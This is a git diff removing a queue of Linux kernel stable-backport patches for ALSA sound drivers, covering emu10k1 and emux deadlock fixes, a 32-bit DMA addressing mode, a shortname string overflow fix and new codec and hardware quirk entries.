emu10k1: don't deadlock in proc-functions - -commit 91bf0c2dcb935a87e5c0795f5047456b965fd143 upstream. - -The functions snd_emu10k1_proc_spdif_read and snd_emu1010_fpga_read -acquire the emu_lock before accessing the FPGA. The function used -to access the FPGA (snd_emu1010_fpga_read) also tries to take -the emu_lock which causes a deadlock. -Remove the outer locking in the proc-functions (guarding only the -already safe fpga read) to prevent this deadlock. - -[removed superfluous flags variables too -- tiwai] - -Signed-off-by: Michael Gernoth <michael@gernoth.net> -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/pci/emu10k1/emuproc.c | 12 ------------ - 1 file changed, 12 deletions(-) - ---- a/sound/pci/emu10k1/emuproc.c -+++ b/sound/pci/emu10k1/emuproc.c -@@ -241,31 +241,22 @@ static void snd_emu10k1_proc_spdif_read( - struct snd_emu10k1 *emu = entry->private_data; - u32 value; - u32 value2; -- unsigned long flags; - u32 rate; - - if (emu->card_capabilities->emu_model) { -- spin_lock_irqsave(&emu->emu_lock, flags); - snd_emu1010_fpga_read(emu, 0x38, &value); -- spin_unlock_irqrestore(&emu->emu_lock, flags); - if ((value & 0x1) == 0) { -- spin_lock_irqsave(&emu->emu_lock, flags); - snd_emu1010_fpga_read(emu, 0x2a, &value); - snd_emu1010_fpga_read(emu, 0x2b, &value2); -- spin_unlock_irqrestore(&emu->emu_lock, flags); - rate = 0x1770000 / (((value << 5) | value2)+1); - snd_iprintf(buffer, "ADAT Locked : %u\n", rate); - } else { - snd_iprintf(buffer, "ADAT Unlocked\n"); - } -- spin_lock_irqsave(&emu->emu_lock, flags); - snd_emu1010_fpga_read(emu, 0x20, &value); -- spin_unlock_irqrestore(&emu->emu_lock, flags); - if ((value & 0x4) == 0) { -- spin_lock_irqsave(&emu->emu_lock, flags); - snd_emu1010_fpga_read(emu, 0x28, &value); - snd_emu1010_fpga_read(emu, 0x29, &value2); -- spin_unlock_irqrestore(&emu->emu_lock, flags); - rate = 0x1770000 / (((value << 5) | value2)+1); - snd_iprintf(buffer, "SPDIF Locked : %d\n", rate); - } else { -@@ -410,14 +401,11 @@ static void snd_emu_proc_emu1010_reg_rea - { - struct snd_emu10k1 *emu = entry->private_data; - u32 value; -- unsigned long flags; - int i; - snd_iprintf(buffer, "EMU1010 Registers:\n\n"); - - for(i = 0; i < 0x40; i+=1) { -- spin_lock_irqsave(&emu->emu_lock, flags); - snd_emu1010_fpga_read(emu, i, &value); -- spin_unlock_irqrestore(&emu->emu_lock, flags); - snd_iprintf(buffer, "%02X: %08X, %02X\n", i, value, (value >> 8) & 0x7f); - } - } diff --git a/patches/alsa-emu10k1-emu10k2-32-bit-dma-mode.patch b/patches/alsa-emu10k1-emu10k2-32-bit-dma-mode.patch deleted file mode 100644 index 383fc07..0000000 --- a/patches/alsa-emu10k1-emu10k2-32-bit-dma-mode.patch +++ /dev/null @@ -1,202 +0,0 @@ -From 7241ea558c6715501e777396b5fc312c372e11d9 Mon Sep 17 00:00:00 2001 -From: Peter Zubaj <pzubaj@marticonet.sk> -Date: Tue, 28 Apr 2015 21:57:29 +0200 -Subject: ALSA: emu10k1: Emu10k2 32 bit DMA mode - -commit 7241ea558c6715501e777396b5fc312c372e11d9 upstream. - -Looks like audigy emu10k2 (probably emu10k1 - sb live too) support two -modes for DMA. Second mode is useful for 64 bit os with more then 2 GB -of ram (fixes problems with big soundfont loading) - -1) 32MB from 2 GB address space using 8192 pages (used now as default) -2) 16MB from 4 GB address space using 4096 pages - -Mode is set using HCFG_EXPANDED_MEM flag in HCFG register. -Also format of emu10k2 page table is then different. - -Signed-off-by: Peter Zubaj <pzubaj@marticonet.sk> -Tested-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - include/sound/emu10k1.h | 14 +++++++++----- - sound/pci/emu10k1/emu10k1_callback.c | 4 ++-- - sound/pci/emu10k1/emu10k1_main.c | 17 ++++++++++++----- - sound/pci/emu10k1/emupcm.c | 2 +- - sound/pci/emu10k1/memory.c | 11 ++++++----- - 5 files changed, 30 insertions(+), 18 deletions(-) - ---- a/include/sound/emu10k1.h -+++ b/include/sound/emu10k1.h -@@ -43,7 +43,8 @@ - - #define EMUPAGESIZE 4096 - #define MAXREQVOICES 8 --#define MAXPAGES 8192 -+#define MAXPAGES0 4096 /* 32 bit mode */ -+#define MAXPAGES1 8192 /* 31 bit mode */ - #define RESERVED 0 - #define NUM_MIDI 16 - #define NUM_G 64 /* use all channels */ -@@ -52,8 +53,7 @@ - - /* FIXME? - according to the OSS driver the EMU10K1 needs a 29 bit DMA mask */ - #define EMU10K1_DMA_MASK 0x7fffffffUL /* 31bit */ --#define AUDIGY_DMA_MASK 0x7fffffffUL /* 31bit FIXME - 32 should work? */ -- /* See ALSA bug #1276 - rlrevell */ -+#define AUDIGY_DMA_MASK 0xffffffffUL /* 32bit mode */ - - #define TMEMSIZE 256*1024 - #define TMEMSIZEREG 4 -@@ -470,8 +470,11 @@ - - #define MAPB 0x0d /* Cache map B */ - --#define MAP_PTE_MASK 0xffffe000 /* The 19 MSBs of the PTE indexed by the PTI */ --#define MAP_PTI_MASK 0x00001fff /* The 13 bit index to one of the 8192 PTE dwords */ -+#define MAP_PTE_MASK0 0xfffff000 /* The 20 MSBs of the PTE indexed by the PTI */ -+#define MAP_PTI_MASK0 0x00000fff /* The 12 bit index to one of the 4096 PTE dwords */ -+ -+#define MAP_PTE_MASK1 0xffffe000 /* The 19 MSBs of the PTE indexed by the PTI */ -+#define MAP_PTI_MASK1 0x00001fff /* The 13 bit index to one of the 8192 PTE dwords */ - - /* 0x0e, 0x0f: Not used */ - -@@ -1708,6 +1711,7 @@ struct snd_emu10k1 { - unsigned short model; /* subsystem id */ - unsigned int card_type; /* EMU10K1_CARD_* */ - unsigned int ecard_ctrl; /* ecard control bits */ -+ unsigned int address_mode; /* address mode */ - unsigned long dma_mask; /* PCI DMA mask */ - unsigned int delay_pcm_irq; /* in samples */ - int max_cache_pages; /* max memory size / PAGE_SIZE */ ---- a/sound/pci/emu10k1/emu10k1_callback.c -+++ b/sound/pci/emu10k1/emu10k1_callback.c -@@ -415,7 +415,7 @@ start_voice(struct snd_emux_voice *vp) - snd_emu10k1_ptr_write(hw, Z2, ch, 0); - - /* invalidate maps */ -- temp = (hw->silent_page.addr << 1) | MAP_PTI_MASK; -+ temp = (hw->silent_page.addr << hw->address_mode) | (hw->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); - snd_emu10k1_ptr_write(hw, MAPA, ch, temp); - snd_emu10k1_ptr_write(hw, MAPB, ch, temp); - #if 0 -@@ -436,7 +436,7 @@ start_voice(struct snd_emux_voice *vp) - snd_emu10k1_ptr_write(hw, CDF, ch, sample); - - /* invalidate maps */ -- temp = ((unsigned int)hw->silent_page.addr << 1) | MAP_PTI_MASK; -+ temp = ((unsigned int)hw->silent_page.addr << hw_address_mode) | (hw->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); - snd_emu10k1_ptr_write(hw, MAPA, ch, temp); - snd_emu10k1_ptr_write(hw, MAPB, ch, temp); - ---- a/sound/pci/emu10k1/emu10k1_main.c -+++ b/sound/pci/emu10k1/emu10k1_main.c -@@ -282,7 +282,7 @@ static int snd_emu10k1_init(struct snd_e - snd_emu10k1_ptr_write(emu, TCB, 0, 0); /* taken from original driver */ - snd_emu10k1_ptr_write(emu, TCBS, 0, 4); /* taken from original driver */ - -- silent_page = (emu->silent_page.addr << 1) | MAP_PTI_MASK; -+ silent_page = (emu->silent_page.addr << emu->address_mode) | (emu->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); - for (ch = 0; ch < NUM_G; ch++) { - snd_emu10k1_ptr_write(emu, MAPA, ch, silent_page); - snd_emu10k1_ptr_write(emu, MAPB, ch, silent_page); -@@ -348,6 +348,11 @@ static int snd_emu10k1_init(struct snd_e - outl(reg | A_IOCFG_GPOUT0, emu->port + A_IOCFG); - } - -+ if (emu->address_mode == 0) { -+ /* use 16M in 4G */ -+ outl(inl(emu->port + HCFG) | HCFG_EXPANDED_MEM, emu->port + HCFG); -+ } -+ - return 0; - } - -@@ -1844,8 +1849,10 @@ int __devinit snd_emu10k1_create(struct - - is_audigy = emu->audigy = c->emu10k2_chip; - -+ /* set addressing mode */ -+ emu->address_mode = is_audigy ? 0 : 1; - /* set the DMA transfer mask */ -- emu->dma_mask = is_audigy ? AUDIGY_DMA_MASK : EMU10K1_DMA_MASK; -+ emu->dma_mask = emu->address_mode ? EMU10K1_DMA_MASK : AUDIGY_DMA_MASK; - if (pci_set_dma_mask(pci, emu->dma_mask) < 0 || - pci_set_consistent_dma_mask(pci, emu->dma_mask) < 0) { - snd_printk(KERN_ERR "architecture does not support PCI busmaster DMA with mask 0x%lx\n", emu->dma_mask); -@@ -1868,7 +1875,7 @@ int __devinit snd_emu10k1_create(struct - - emu->max_cache_pages = max_cache_bytes >> PAGE_SHIFT; - if (snd_dma_alloc_pages(SNDRV_DMA_TYPE_DEV, snd_dma_pci_data(pci), -- 32 * 1024, &emu->ptb_pages) < 0) { -+ (emu->address_mode ? 32 : 16) * 1024, &emu->ptb_pages) < 0) { - err = -ENOMEM; - goto error; - } -@@ -1967,8 +1974,8 @@ int __devinit snd_emu10k1_create(struct - - /* Clear silent pages and set up pointers */ - memset(emu->silent_page.area, 0, PAGE_SIZE); -- silent_page = emu->silent_page.addr << 1; -- for (idx = 0; idx < MAXPAGES; idx++) -+ silent_page = emu->silent_page.addr << emu->address_mode; -+ for (idx = 0; idx < (emu->address_mode ? MAXPAGES1 : MAXPAGES0); idx++) - ((u32 *)emu->ptb_pages.area)[idx] = cpu_to_le32(silent_page | idx); - - /* set up voice indices */ ---- a/sound/pci/emu10k1/emupcm.c -+++ b/sound/pci/emu10k1/emupcm.c -@@ -379,7 +379,7 @@ static void snd_emu10k1_pcm_init_voice(s - snd_emu10k1_ptr_write(emu, Z1, voice, 0); - snd_emu10k1_ptr_write(emu, Z2, voice, 0); - /* invalidate maps */ -- silent_page = ((unsigned int)emu->silent_page.addr << 1) | MAP_PTI_MASK; -+ silent_page = ((unsigned int)emu->silent_page.addr << emu->address_mode) | (emu->address_mode ? MAP_PTI_MASK1 : MAP_PTI_MASK0); - snd_emu10k1_ptr_write(emu, MAPA, voice, silent_page); - snd_emu10k1_ptr_write(emu, MAPB, voice, silent_page); - /* modulation envelope */ ---- a/sound/pci/emu10k1/memory.c -+++ b/sound/pci/emu10k1/memory.c -@@ -34,10 +34,11 @@ - * aligned pages in others - */ - #define __set_ptb_entry(emu,page,addr) \ -- (((u32 *)(emu)->ptb_pages.area)[page] = cpu_to_le32(((addr) << 1) | (page))) -+ (((u32 *)(emu)->ptb_pages.area)[page] = cpu_to_le32(((addr) << (emu->address_mode)) | (page))) - - #define UNIT_PAGES (PAGE_SIZE / EMUPAGESIZE) --#define MAX_ALIGN_PAGES (MAXPAGES / UNIT_PAGES) -+#define MAX_ALIGN_PAGES0 (MAXPAGES0 / UNIT_PAGES) -+#define MAX_ALIGN_PAGES1 (MAXPAGES1 / UNIT_PAGES) - /* get aligned page from offset address */ - #define get_aligned_page(offset) ((offset) >> PAGE_SHIFT) - /* get offset address from aligned page */ -@@ -124,7 +125,7 @@ static int search_empty_map_area(struct - } - page = blk->mapped_page + blk->pages; - } -- size = MAX_ALIGN_PAGES - page; -+ size = (emu->address_mode ? MAX_ALIGN_PAGES1 : MAX_ALIGN_PAGES0) - page; - if (size >= max_size) { - *nextp = pos; - return page; -@@ -181,7 +182,7 @@ static int unmap_memblk(struct snd_emu10 - q = get_emu10k1_memblk(p, mapped_link); - end_page = q->mapped_page; - } else -- end_page = MAX_ALIGN_PAGES; -+ end_page = (emu->address_mode ? MAX_ALIGN_PAGES1 : MAX_ALIGN_PAGES0); - - /* remove links */ - list_del(&blk->mapped_link); -@@ -305,7 +306,7 @@ snd_emu10k1_alloc_pages(struct snd_emu10 - if (snd_BUG_ON(!emu)) - return NULL; - if (snd_BUG_ON(runtime->dma_bytes <= 0 || -- runtime->dma_bytes >= MAXPAGES * EMUPAGESIZE)) -+ runtime->dma_bytes >= (emu->address_mode ? MAXPAGES1 : MAXPAGES0) * EMUPAGESIZE)) - return NULL; - hdr = emu->memhdr; - if (snd_BUG_ON(!hdr)) diff --git a/patches/alsa-emu10k1-fix-card-shortname-string-buffer-overflow.patch b/patches/alsa-emu10k1-fix-card-shortname-string-buffer-overflow.patch deleted file mode 100644 index 266aa30..0000000 --- a/patches/alsa-emu10k1-fix-card-shortname-string-buffer-overflow.patch +++ /dev/null @@ -1,59 +0,0 @@ -From d02260824e2cad626fb2a9d62e27006d34b6dedc Mon Sep 17 00:00:00 2001 -From: Takashi Iwai <tiwai@suse.de> -Date: Mon, 27 Apr 2015 13:00:09 +0200 -Subject: ALSA: emu10k1: Fix card shortname string buffer overflow - -commit d02260824e2cad626fb2a9d62e27006d34b6dedc upstream. - -Some models provide too long string for the shortname that has 32bytes -including the terminator, and it results in a non-terminated string -exposed to the user-space. This isn't too critical, though, as the -string is stopped at the succeeding longname string. - -This patch fixes such entries by dropping "SB" prefix (it's enough to -fit within 32 bytes, so far). Meanwhile, it also changes strcpy() -with strlcpy() to make sure that this kind of problem won't happen in -future, too. - -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/pci/emu10k1/emu10k1.c | 6 ++++-- - sound/pci/emu10k1/emu10k1_main.c | 4 ++-- - 2 files changed, 6 insertions(+), 4 deletions(-) - ---- a/sound/pci/emu10k1/emu10k1.c -+++ b/sound/pci/emu10k1/emu10k1.c -@@ -181,8 +181,10 @@ static int __devinit snd_card_emu10k1_pr - } - #endif - -- strcpy(card->driver, emu->card_capabilities->driver); -- strcpy(card->shortname, emu->card_capabilities->name); -+ strlcpy(card->driver, emu->card_capabilities->driver, -+ sizeof(card->driver)); -+ strlcpy(card->shortname, emu->card_capabilities->name, -+ sizeof(card->shortname)); - snprintf(card->longname, sizeof(card->longname), - "%s (rev.%d, serial:0x%x) at 0x%lx, irq %i", - card->shortname, emu->revision, emu->serial, emu->port, emu->irq); ---- a/sound/pci/emu10k1/emu10k1_main.c -+++ b/sound/pci/emu10k1/emu10k1_main.c -@@ -1390,7 +1390,7 @@ static struct snd_emu_chip_details emu_c - * - */ - {.vendor = 0x1102, .device = 0x0008, .subsystem = 0x20011102, -- .driver = "Audigy2", .name = "SB Audigy 2 ZS Notebook [SB0530]", -+ .driver = "Audigy2", .name = "Audigy 2 ZS Notebook [SB0530]", - .id = "Audigy2", - .emu10k2_chip = 1, - .ca0108_chip = 1, -@@ -1540,7 +1540,7 @@ static struct snd_emu_chip_details emu_c - .adc_1361t = 1, /* 24 bit capture instead of 16bit */ - .ac97_chip = 1} , - {.vendor = 0x1102, .device = 0x0004, .subsystem = 0x10051102, -- .driver = "Audigy2", .name = "SB Audigy 2 Platinum EX [SB0280]", -+ .driver = "Audigy2", .name = "Audigy 2 Platinum EX [SB0280]", - .id = "Audigy2", - .emu10k2_chip = 1, - .ca0102_chip = 1, diff --git a/patches/alsa-emux-fix-mutex-deadlock-at-unloading.patch b/patches/alsa-emux-fix-mutex-deadlock-at-unloading.patch deleted file mode 100644 index db565be..0000000 --- a/patches/alsa-emux-fix-mutex-deadlock-at-unloading.patch +++ /dev/null @@ -1,45 +0,0 @@ -From 07b0e5d49d227e3950cb13a3e8caf248ef2a310e Mon Sep 17 00:00:00 2001 -From: Takashi Iwai <tiwai@suse.de> -Date: Mon, 27 Apr 2015 14:50:39 +0200 -Subject: ALSA: emux: Fix mutex deadlock at unloading - -commit 07b0e5d49d227e3950cb13a3e8caf248ef2a310e upstream. - -The emux-synth driver has a possible AB/BA mutex deadlock at unloading -the emu10k1 driver: - - snd_emux_free() -> - snd_emux_detach_seq(): mutex_lock(&emu->register_mutex) -> - snd_seq_delete_kernel_client() -> - snd_seq_free_client(): mutex_lock(®ister_mutex) - - snd_seq_release() -> - snd_seq_free_client(): mutex_lock(®ister_mutex) -> - snd_seq_delete_all_ports() -> - snd_emux_unuse(): mutex_lock(&emu->register_mutex) - -Basically snd_emux_detach_seq() doesn't need a protection of -emu->register_mutex as it's already being unregistered. So, we can -get rid of this for avoiding the deadlock. - -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/synth/emux/emux_seq.c | 2 -- - 1 file changed, 2 deletions(-) - ---- a/sound/synth/emux/emux_seq.c -+++ b/sound/synth/emux/emux_seq.c -@@ -124,12 +124,10 @@ snd_emux_detach_seq(struct snd_emux *emu - if (emu->voices) - snd_emux_terminate_all(emu); - -- mutex_lock(&emu->register_mutex); - if (emu->client >= 0) { - snd_seq_delete_kernel_client(emu->client); - emu->client = -1; - } -- mutex_unlock(&emu->register_mutex); - } - - diff --git a/patches/alsa-emux-fix-mutex-deadlock-in-oss-emulation.patch b/patches/alsa-emux-fix-mutex-deadlock-in-oss-emulation.patch deleted file mode 100644 index 79a0200..0000000 --- a/patches/alsa-emux-fix-mutex-deadlock-in-oss-emulation.patch +++ /dev/null @@ -1,151 +0,0 @@ -From 1c94e65c668f44d2c69ae7e7fc268ab3268fba3e Mon Sep 17 00:00:00 2001 -From: Takashi Iwai <tiwai@suse.de> -Date: Tue, 28 Apr 2015 17:11:44 +0200 -Subject: ALSA: emux: Fix mutex deadlock in OSS emulation - -commit 1c94e65c668f44d2c69ae7e7fc268ab3268fba3e upstream. - -The OSS emulation in synth-emux helper has a potential AB/BA deadlock -at the simultaneous closing and opening: - - close -> - snd_seq_release() -> - sne_seq_free_client() -> - snd_seq_delete_all_ports(): takes client->ports_mutex -> - port_delete() -> - snd_emux_unuse(): takes emux->register_mutex - - open -> - snd_seq_oss_open() -> - snd_emux_open_seq_oss(): takes emux->register_mutex -> - snd_seq_event_port_attach() -> - snd_seq_create_port(): takes client->ports_mutex - -This patch addresses the deadlock by reducing the rance taking -emux->register_mutex in snd_emux_open_seq_oss(). The lock is needed -for the refcount handling, so move it locally. The calls in -emux_seq.c are already with the mutex, thus they are replaced with the -version without mutex lock/unlock. - -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/synth/emux/emux_oss.c | 11 +---------- - sound/synth/emux/emux_seq.c | 27 +++++++++++++++++++++------ - 2 files changed, 22 insertions(+), 16 deletions(-) - ---- a/sound/synth/emux/emux_oss.c -+++ b/sound/synth/emux/emux_oss.c -@@ -118,12 +118,8 @@ snd_emux_open_seq_oss(struct snd_seq_oss - if (snd_BUG_ON(!arg || !emu)) - return -ENXIO; - -- mutex_lock(&emu->register_mutex); -- -- if (!snd_emux_inc_count(emu)) { -- mutex_unlock(&emu->register_mutex); -+ if (!snd_emux_inc_count(emu)) - return -EFAULT; -- } - - memset(&callback, 0, sizeof(callback)); - callback.owner = THIS_MODULE; -@@ -135,7 +131,6 @@ snd_emux_open_seq_oss(struct snd_seq_oss - if (p == NULL) { - snd_printk(KERN_ERR "can't create port\n"); - snd_emux_dec_count(emu); -- mutex_unlock(&emu->register_mutex); - return -ENOMEM; - } - -@@ -148,8 +143,6 @@ snd_emux_open_seq_oss(struct snd_seq_oss - reset_port_mode(p, arg->seq_mode); - - snd_emux_reset_port(p); -- -- mutex_unlock(&emu->register_mutex); - return 0; - } - -@@ -195,13 +188,11 @@ snd_emux_close_seq_oss(struct snd_seq_os - if (snd_BUG_ON(!emu)) - return -ENXIO; - -- mutex_lock(&emu->register_mutex); - snd_emux_sounds_off_all(p); - snd_soundfont_close_check(emu->sflist, SF_CLIENT_NO(p->chset.port)); - snd_seq_event_port_detach(p->chset.client, p->chset.port); - snd_emux_dec_count(emu); - -- mutex_unlock(&emu->register_mutex); - return 0; - } - ---- a/sound/synth/emux/emux_seq.c -+++ b/sound/synth/emux/emux_seq.c -@@ -267,8 +267,8 @@ snd_emux_event_input(struct snd_seq_even - /* - * increment usage count - */ --int --snd_emux_inc_count(struct snd_emux *emu) -+static int -+__snd_emux_inc_count(struct snd_emux *emu) - { - emu->used++; - if (!try_module_get(emu->ops.owner)) -@@ -282,12 +282,21 @@ snd_emux_inc_count(struct snd_emux *emu) - return 1; - } - -+int snd_emux_inc_count(struct snd_emux *emu) -+{ -+ int ret; -+ -+ mutex_lock(&emu->register_mutex); -+ ret = __snd_emux_inc_count(emu); -+ mutex_unlock(&emu->register_mutex); -+ return ret; -+} - - /* - * decrease usage count - */ --void --snd_emux_dec_count(struct snd_emux *emu) -+static void -+__snd_emux_dec_count(struct snd_emux *emu) - { - module_put(emu->card->module); - emu->used--; -@@ -296,6 +305,12 @@ snd_emux_dec_count(struct snd_emux *emu) - module_put(emu->ops.owner); - } - -+void snd_emux_dec_count(struct snd_emux *emu) -+{ -+ mutex_lock(&emu->register_mutex); -+ __snd_emux_dec_count(emu); -+ mutex_unlock(&emu->register_mutex); -+} - - /* - * Routine that is called upon a first use of a particular port -@@ -315,7 +330,7 @@ snd_emux_use(void *private_data, struct - - mutex_lock(&emu->register_mutex); - snd_emux_init_port(p); -- snd_emux_inc_count(emu); -+ __snd_emux_inc_count(emu); - mutex_unlock(&emu->register_mutex); - return 0; - } -@@ -338,7 +353,7 @@ snd_emux_unuse(void *private_data, struc - - mutex_lock(&emu->register_mutex); - snd_emux_sounds_off_all(p); -- snd_emux_dec_count(emu); -+ __snd_emux_dec_count(emu); - mutex_unlock(&emu->register_mutex); - return 0; - } diff --git a/patches/alsa-hda-add-conexant-codecs-cx20721-cx20722-cx20723-and-cx20724.patch b/patches/alsa-hda-add-conexant-codecs-cx20721-cx20722-cx20723-and-cx20724.patch deleted file mode 100644 index 887c809..0000000 --- a/patches/alsa-hda-add-conexant-codecs-cx20721-cx20722-cx20723-and-cx20724.patch +++ /dev/null @@ -1,46 +0,0 @@ -From 6ffc0898b29a2811a6c0569c5dd9b581980110df Mon Sep 17 00:00:00 2001 -From: David Henningsson <david.henningsson@canonical.com> -Date: Wed, 13 May 2015 13:28:54 +0200 -Subject: ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 - -commit 6ffc0898b29a2811a6c0569c5dd9b581980110df upstream. - -This patch adds support for Conexant HD Audio codecs -CX20721, CX20722, CX20723 and CX20724. - -BugLink: https://bugs.launchpad.net/bugs/1454656 -Signed-off-by: David Henningsson <david.henningsson@canonical.com> -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/pci/hda/patch_conexant.c | 12 ++++++++++++ - 1 file changed, 12 insertions(+) - ---- a/sound/pci/hda/patch_conexant.c -+++ b/sound/pci/hda/patch_conexant.c -@@ -4606,6 +4606,14 @@ static const struct hda_codec_preset snd - .patch = patch_conexant_auto }, - { .id = 0x14f150b9, .name = "CX20665", - .patch = patch_conexant_auto }, -+ { .id = 0x14f150f1, .name = "CX20721", -+ .patch = patch_conexant_auto }, -+ { .id = 0x14f150f2, .name = "CX20722", -+ .patch = patch_conexant_auto }, -+ { .id = 0x14f150f3, .name = "CX20723", -+ .patch = patch_conexant_auto }, -+ { .id = 0x14f150f4, .name = "CX20724", -+ .patch = patch_conexant_auto }, - { .id = 0x14f1510f, .name = "CX20751/2", - .patch = patch_conexant_auto }, - { .id = 0x14f15110, .name = "CX20751/2", -@@ -4640,6 +4648,10 @@ MODULE_ALIAS("snd-hda-codec-id:14f150ab" - MODULE_ALIAS("snd-hda-codec-id:14f150ac"); - MODULE_ALIAS("snd-hda-codec-id:14f150b8"); - MODULE_ALIAS("snd-hda-codec-id:14f150b9"); -+MODULE_ALIAS("snd-hda-codec-id:14f150f1"); -+MODULE_ALIAS("snd-hda-codec-id:14f150f2"); -+MODULE_ALIAS("snd-hda-codec-id:14f150f3"); -+MODULE_ALIAS("snd-hda-codec-id:14f150f4"); - MODULE_ALIAS("snd-hda-codec-id:14f1510f"); - MODULE_ALIAS("snd-hda-codec-id:14f15110"); - MODULE_ALIAS("snd-hda-codec-id:14f15111"); diff --git a/patches/alsa-hda-fix-mute-led-fixed-mode.patch b/patches/alsa-hda-fix-mute-led-fixed-mode.patch deleted file mode 100644 index ddded25..0000000 --- a/patches/alsa-hda-fix-mute-led-fixed-mode.patch +++ /dev/null @@ -1,71 +0,0 @@ -From ee52e56e7b12834476cd0031c5986254ba1b6317 Mon Sep 17 00:00:00 2001 -From: Takashi Iwai <tiwai@suse.de> -Date: Mon, 27 Apr 2015 10:36:11 +0200 -Subject: ALSA: hda - Fix mute-LED fixed mode -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -commit ee52e56e7b12834476cd0031c5986254ba1b6317 upstream. - -The mute-LED mode control has the fixed on/off states that are -supposed to remain on/off regardless of the master switch. However, -this doesn't work actually because the vmaster hook is called in the -vmaster code itself. - -This patch fixes it by calling the hook indirectly after checking the -mute LED mode. - -Reported-and-tested-by: Pali Rohár <pali.rohar@gmail.com> -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/pci/hda/hda_codec.c | 21 ++++++++++++--------- - 1 file changed, 12 insertions(+), 9 deletions(-) - ---- a/sound/pci/hda/hda_codec.c -+++ b/sound/pci/hda/hda_codec.c -@@ -2093,6 +2093,16 @@ _snd_hda_find_mixer_ctl(struct hda_codec - return snd_ctl_find_id(codec->bus->card, &id); - } - -+/* meta hook to call each driver's vmaster hook */ -+static void vmaster_hook(void *private_data, int enabled) -+{ -+ struct hda_vmaster_mute_hook *hook = private_data; -+ -+ if (hook->mute_mode != HDA_VMUTE_FOLLOW_MASTER) -+ enabled = hook->mute_mode; -+ hook->hook(hook->codec, enabled); -+} -+ - /** - * snd_hda_find_mixer_ctl - Find a mixer control element with the given name - * @codec: HD-audio codec -@@ -2520,9 +2530,9 @@ int snd_hda_add_vmaster_hook(struct hda_ - - if (!hook->hook || !hook->sw_kctl) - return 0; -- snd_ctl_add_vmaster_hook(hook->sw_kctl, hook->hook, codec); - hook->codec = codec; - hook->mute_mode = HDA_VMUTE_FOLLOW_MASTER; -+ snd_ctl_add_vmaster_hook(hook->sw_kctl, vmaster_hook, hook); - if (!expose_enum_ctl) - return 0; - kctl = snd_ctl_new1(&vmaster_mute_mode, hook); -@@ -2540,14 +2550,7 @@ void snd_hda_sync_vmaster_hook(struct hd - { - if (!hook->hook || !hook->codec) - return; -- switch (hook->mute_mode) { -- case HDA_VMUTE_FOLLOW_MASTER: -- snd_ctl_sync_vmaster_hook(hook->sw_kctl); -- break; -- default: -- hook->hook(hook->codec, hook->mute_mode); -- break; -- } -+ snd_ctl_sync_vmaster_hook(hook->sw_kctl); - } - EXPORT_SYMBOL_HDA(snd_hda_sync_vmaster_hook); - diff --git a/patches/alsa-hda-realtek-add-a-fixup-for-another-acer-aspire-9420.patch b/patches/alsa-hda-realtek-add-a-fixup-for-another-acer-aspire-9420.patch deleted file mode 100644 index 8071a57..0000000 --- a/patches/alsa-hda-realtek-add-a-fixup-for-another-acer-aspire-9420.patch +++ /dev/null @@ -1,27 +0,0 @@ -From b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 Mon Sep 17 00:00:00 2001 -From: Takashi Iwai <tiwai@suse.de> -Date: Tue, 2 Jun 2015 19:57:08 +0200 -Subject: ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 - -commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream. - -Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to -make the sound working like other Aspire models. - -Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111 -Signed-off-by: Takashi Iwai <tiwai@suse.de> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - sound/pci/hda/patch_realtek.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/sound/pci/hda/patch_realtek.c -+++ b/sound/pci/hda/patch_realtek.c -@@ -5412,6 +5412,7 @@ static const struct alc_fixup alc882_fix - static const struct snd_pci_quirk alc882_fixup_tbl[] = { - SND_PCI_QUIRK(0x1025, 0x006c, "Acer Aspire 9810", ALC883_FIXUP_ACER_EAPD), - SND_PCI_QUIRK(0x1025, 0x0090, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), -+ SND_PCI_QUIRK(0x1025, 0x0107, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), - SND_PCI_QUIRK(0x1025, 0x010a, "Acer Ferrari 5000", ALC883_FIXUP_ACER_EAPD), - SND_PCI_QUIRK(0x1025, 0x0110, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), - SND_PCI_QUIRK(0x1025, 0x0112, "Acer Aspire 9303", ALC883_FIXUP_ACER_EAPD), diff --git a/patches/alsa-usb-audio-add-maya44-usb-mixer-control-names.patch b/patches/alsa-usb-audio-add-maya44-usb-mixer-control-names.patch deleted file mode 100644 index fb66d40..0000000 --- a/patches/alsa-usb-audio-add-maya44-usb-mixer-control-names.patch +++ /dev/null @@ -1,32 +0,0 @@ -From 044bddb9ca8d49edb91bc22b9940a463b0dbb97f Mon Sep 17 00:00:00 2001 -From: Clemens Ladisch <clemens@ladisch.de> -Date: Wed, 3 Jun 2015 11:36:42 +0200 -Subject: ALSA: usb-audio: add MAYA44 USB+ mixer control names - -commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream. - -Add mixer control names for the ESI Maya44 USB+ (which appears to be -identical width the AudioTrak Maya44 USB). - -Reported-by: nightmixes <nightmixes@gmail.com> -Signed-off-by: Clemens Ladisch <clemens@ladisch.de> -Signed-off-by: Takashi Iwai <tiwai@suse.de> 